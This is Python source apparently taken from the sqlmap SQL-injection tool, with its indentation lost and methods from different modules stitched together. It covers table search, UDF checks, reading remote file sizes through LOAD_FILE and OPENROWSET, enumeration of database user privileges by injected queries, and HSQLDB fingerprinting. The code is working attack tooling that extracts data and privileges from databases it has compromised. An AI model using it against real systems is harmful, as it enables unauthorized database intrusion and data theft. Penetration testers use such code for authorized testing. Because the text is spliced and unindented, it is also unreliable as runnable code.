if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
DBMS.FIREBIRD):
query = safeStringFormat(
query, unsafeSQLIdentificatorNaming(db))
if not Backend.isDbms(DBMS.FIREBIRD):
query = agent.limitQuery(index, query)
foundTbl = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if not isNoneValue(foundTbl):
kb.hintValue = foundTbl
foundTbl = safeSQLIdentificatorNaming(
foundTbl, True)
foundTbls[db].append(foundTbl)
for db in foundTbls.keys():
if isNoneValue(foundTbls[db]):
del foundTbls[db]
if not foundTbls:
warnMsg = "no databases contain any of the provided tables"
logger.warn(warnMsg)
return
conf.dumper.dbTables(foundTbls)
self.dumpFoundTables(foundTbls)
def _checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
def _checkFileLength(self, localFile, remoteFile, fileRead=False):
if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField,
"VARBINARY(MAX)")
inject.goStacked(
"INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"
% (self.fileTblName, self.tblField, self.tblField, remoteFile,
self.fileTblName, self.tblField))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField,
self.fileTblName)
localFileSize = os.path.getsize(localFile)
if fileRead and Backend.isDbms(DBMS.PGSQL):
logger.info(
"length of read file %s cannot be checked on PostgreSQL" %
remoteFile)
sameFile = True
else:
logger.debug("checking the length of the remote file %s" %
remoteFile)
remoteFileSize = inject.getValue(lengthQuery,
resumeValue=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
sameFile = None
if isNumPosStrValue(remoteFileSize):
remoteFileSize = long(remoteFileSize)
sameFile = False
if localFileSize == remoteFileSize:
sameFile = True
infoMsg = "the local file %s and the remote file " % localFile
infoMsg += "%s have the same size (%db)" % (remoteFile,
localFileSize)
elif remoteFileSize > localFileSize:
infoMsg = "the remote file %s is larger (%db) than " % (
remoteFile, remoteFileSize)
infoMsg += "the local file %s (%db)" % (localFile,
localFileSize)
else:
infoMsg = "the remote file %s is smaller (%db) than " % (
remoteFile, remoteFileSize)
infoMsg += "file %s (%db)" % (localFile, localFileSize)
logger.info(infoMsg)
else:
sameFile = False
warnMsg = "it looks like the file has not been written (usually "
warnMsg += "occurs if the DBMS process' user has no write "
warnMsg += "privileges in the destination path)"
logger.warn(warnMsg)
return sameFile
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
# Set containing the list of DBMS administrators
areAdmins = set()
if not kb.data.cachedUsersPrivileges and any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
if Backend.isDbms(
DBMS.MYSQL) and kb.data.has_information_schema:
query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user)
for user in sorted(users))
else:
query += " OR ".join("%s = '%s'" % (condition, user)
for user in sorted(users))
values = inject.getValue(query, blind=False, time=False)
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
if not isNoneValue(values):
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
if privilege is None:
continue
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and getUnicode(
privilege).isdigit():
if int(privilege) == 1:
privileges.add(PGSQL_PRIVS[count])
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (
Backend.isDbms(DBMS.MYSQL)
and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(
DBMS.MYSQL
) and not kb.data.has_information_schema:
if privilege.upper() == "Y":
privileges.add(MYSQL_PRIVS[count])
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(
FIREBIRD_PRIVS[privilege.strip()])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
if len(privs) > 1:
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in DB2_PRIVS.items(
):
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
if user in kb.data.cachedUsersPrivileges:
kb.data.cachedUsersPrivileges[user] = list(
privileges.union(
kb.data.cachedUsersPrivileges[user]))
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
if not kb.data.cachedUsersPrivileges and isInferenceAvailable(
) and not conf.direct:
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
conditionChar = "LIKE"
else:
conditionChar = "="
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
retrievedUsers = set()
for user in users:
outuser = user
if user in retrievedUsers:
continue
if Backend.isDbms(
DBMS.MYSQL) and kb.data.has_information_schema:
user = "******" % user
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % outuser
logger.info(infoMsg)
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(
DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if not retrievedUsers and Backend.isDbms(
DBMS.ORACLE) and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % outuser
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % outuser
logger.info(infoMsg)
privileges = set()
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(
DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, user,
index)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, user)
else:
query = rootQuery.blind.query % (user, index)
privilege = unArrayizeValue(
inject.getValue(query, union=False, error=False))
if privilege is None:
continue
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in PGSQL_PRIVS.items():
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(
DBMS.MYSQL) and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in MYSQL_PRIVS.items():
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split(",")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in ("Y", "G"):
for position, db2Priv in DB2_PRIVS.items():
if position == i:
privilege += ", " + db2Priv
i += 1
privileges.add(privilege)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.isDbms(
DBMS.MYSQL) and not kb.data.has_information_schema:
break
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % outuser
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise SqlmapNoneDataException(errMsg)
for user, privileges in kb.data.cachedUsersPrivileges.items():
if isAdminFromPrivileges(privileges):
areAdmins.add(user)
return (kb.data.cachedUsersPrivileges, areAdmins)
def checkDbms(self):
"""
References for fingerprint:
DATABASE_VERSION()
version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d')
version 2.2.5 added SYSTIMESTAMP function
version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions
version 2.2.0 added support for ROWNUM() function
version 2.1.0 added MEDIAN aggregate function
version < 2.0.1 added support for datetime ROUND and TRUNC functions
version 2.0.0 added VALUES support
version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the
full version string, including the 4th digit (e.g 1.8.0.4).
version 1.7.2 CASE statements added and INFORMATION_SCHEMA
"""
if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES):
setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion()))
if Backend.isVersionGreaterOrEqualThan("1.7.2"):
kb.data.has_information_schema = True
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.HSQLDB
logger.info(infoMsg)
result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1")
if result:
infoMsg = "confirming %s" % DBMS.HSQLDB
logger.info(infoMsg)
result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
logger.warn(warnMsg)
return False
else:
kb.data.has_information_schema = True
Backend.setVersion(">= 1.7.2")
setDbms("%s 1.7.2" % DBMS.HSQLDB)
banner = self.getBanner()
if banner:
Backend.setVersion("= %s" % banner)
else:
if inject.checkBooleanExpression(
"(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"):
Backend.setVersionList([">= 2.0.0", "< 2.3.0"])
else:
banner = unArrayizeValue(
inject.getValue(
"\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()",
safeCharEncode=True))
if banner:
Backend.setVersion("= %s" % banner)
else:
Backend.setVersionList([">= 1.7.2", "< 1.8.0"])
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB
logger.warn(warnMsg)
dbgMsg = "...or version is < 1.7.2"
logger.debug(dbgMsg)
return False
